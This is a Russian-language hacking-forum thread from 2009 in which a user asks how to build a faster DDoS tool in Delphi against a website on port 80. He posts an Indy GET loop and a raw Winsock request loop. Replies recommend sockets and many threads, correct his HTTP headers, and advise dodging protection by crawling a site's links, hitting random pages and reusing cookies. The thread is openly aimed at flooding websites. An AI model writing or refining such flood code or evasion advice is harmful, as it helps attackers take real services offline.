HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Реализация DDOS На Delphi
  #1  
Старый 19.01.2009, 02:30
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
С нами: 9798086

Репутация: 999


По умолчанию Реализация DDOS На Delphi

Как лучше реализовать DDoS атаку на сайта(:80)?
Вот так:
Код:
for i := 0 to 100 do
  begin
  idHttp2.Get(host)
end;
Или через сокеты?
Подскажите как будет эффективнее и быстрее!

P.S. На ачате нашёл примеры, но не быстро работает....
 

  #2  
Старый 19.01.2009, 02:35
herfleisch
Участник форума
Регистрация: 07.01.2009
Сообщений: 237
С нами: 9126697

Репутация: 97
По умолчанию

Если уж ты и решил атаковать так, то сокеты работают быстрее. И делай тогда несколько потоков.
 

  #3  
Старый 19.01.2009, 02:35
cylaaaan
Участник форума
Регистрация: 31.08.2006
Сообщений: 149
С нами: 10365076

Репутация: 155
По умолчанию

лол... get будет выполнятся последовательно.

сделай массив потоков и потом запускай фором потоки, чтоб одновременно запустились
 

  #4  
Старый 19.01.2009, 03:06
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
С нами: 9798086

Репутация: 999


По умолчанию

Это я понял, только как вот сделать что бы он не дожидался ответа сервера, а опять отправлял пакет.
 

  #5  
Старый 19.01.2009, 03:10
herfleisch
Участник форума
Регистрация: 07.01.2009
Сообщений: 237
С нами: 9126697

Репутация: 97
По умолчанию

Через сокеты
 

  #6  
Старый 19.01.2009, 03:20
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
С нами: 9798086

Репутация: 999


По умолчанию

Код:
adr.sin_addr.s_addr :=inet_addr(pchar(host));
adr.sin_family :=AF_INET;
adr.sin_port :=htons(80);
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if Sock     =-1 then Exit;
connect(sock,adr,sizeof(adr));
for iss := 0 to 100 do begin
req:='GET / HTTP/1.0'#13#10+
'User-Agent: Mozillo'#13#10+
'Connection: keep-alive'#13#10+
'Host: '+Label4.Caption+#13#10+
'Pragma: no-cache'#13#10;
i:= send(Sock,pointer(req)^,length(req),0);
end;
closesocket(Sock);
Как заставить работать нормально?
В ответ идёт один ответ "400 Bad Request"
Если добавить в "Pragma: no-cache'#13#10" еще #13#10, то сервер даёт только один ответ. остальное просто игнорируется.

Последний раз редактировалось -Hormold-; 19.01.2009 в 03:36..
 

  #7  
Старый 19.01.2009, 03:20
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
С нами: 10265091

Репутация: 541


По умолчанию

пиши через винсок, какие бля компоненты для ддоса ппц, помести еще на форму комп. WEbBrowser1 и эмулируй нажатие F5 для апдейта страницы!!!1
 

  #8  
Старый 19.01.2009, 04:52
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами: 10077446

Репутация: 1020


По умолчанию

Ну ясно понятно что 400 Bad Request, ты не отделяешь head HTTP запроса от самого тела сообщения(даже если его нету) - пустой строкой, содержащей только символы CR LF и указывающей на конец заголовков, в последнем из HTTP полей заголовка
'Pragma: no-cache'#13#10;, попробуй так

Цитата:
req:=AnsiString ='GET / HTTP/1.0'+#0$D#0$A+
'User-Agent: Mozillo' +#0$D#0$A+
'Host: '+Label4.Caption+#0$D#0$A+
'Pragma: no-cache'+ #0$D#0$A+
'Connection: close'+ #0$D#0$A+#0$D#0$A;
и если тебе надо что бы все работало побыстрее конечно Connection в close.

Последний раз редактировалось AkyHa_MaTaTa; 19.01.2009 в 05:00..
 

  #9  
Старый 19.01.2009, 10:31
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

Хотя это мало что даст. Крупные вещи незадосишь просто так. Там где стоит защита.
Лучше грузить первую страницу, парсить её, получать список линков внутри сайта. И уже рандомом выбирать их этого списка и досить. Тогда меньше вероятность срабатывания защиты. Также бывает защита на уровне куков, так что нужно сделать первый запрос, получить куки, а потом уже досить с использованием этих куков.
 

  #10  
Старый 19.01.2009, 11:04
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
С нами: 9798086

Репутация: 999


По умолчанию

CR LF на delphi - #13#10 - твой вариант всё равно не работает =\
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Атака SMURF - наиболее опасная разновидность атаки DDoS dinar_007 Болталка 7 14.01.2008 07:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.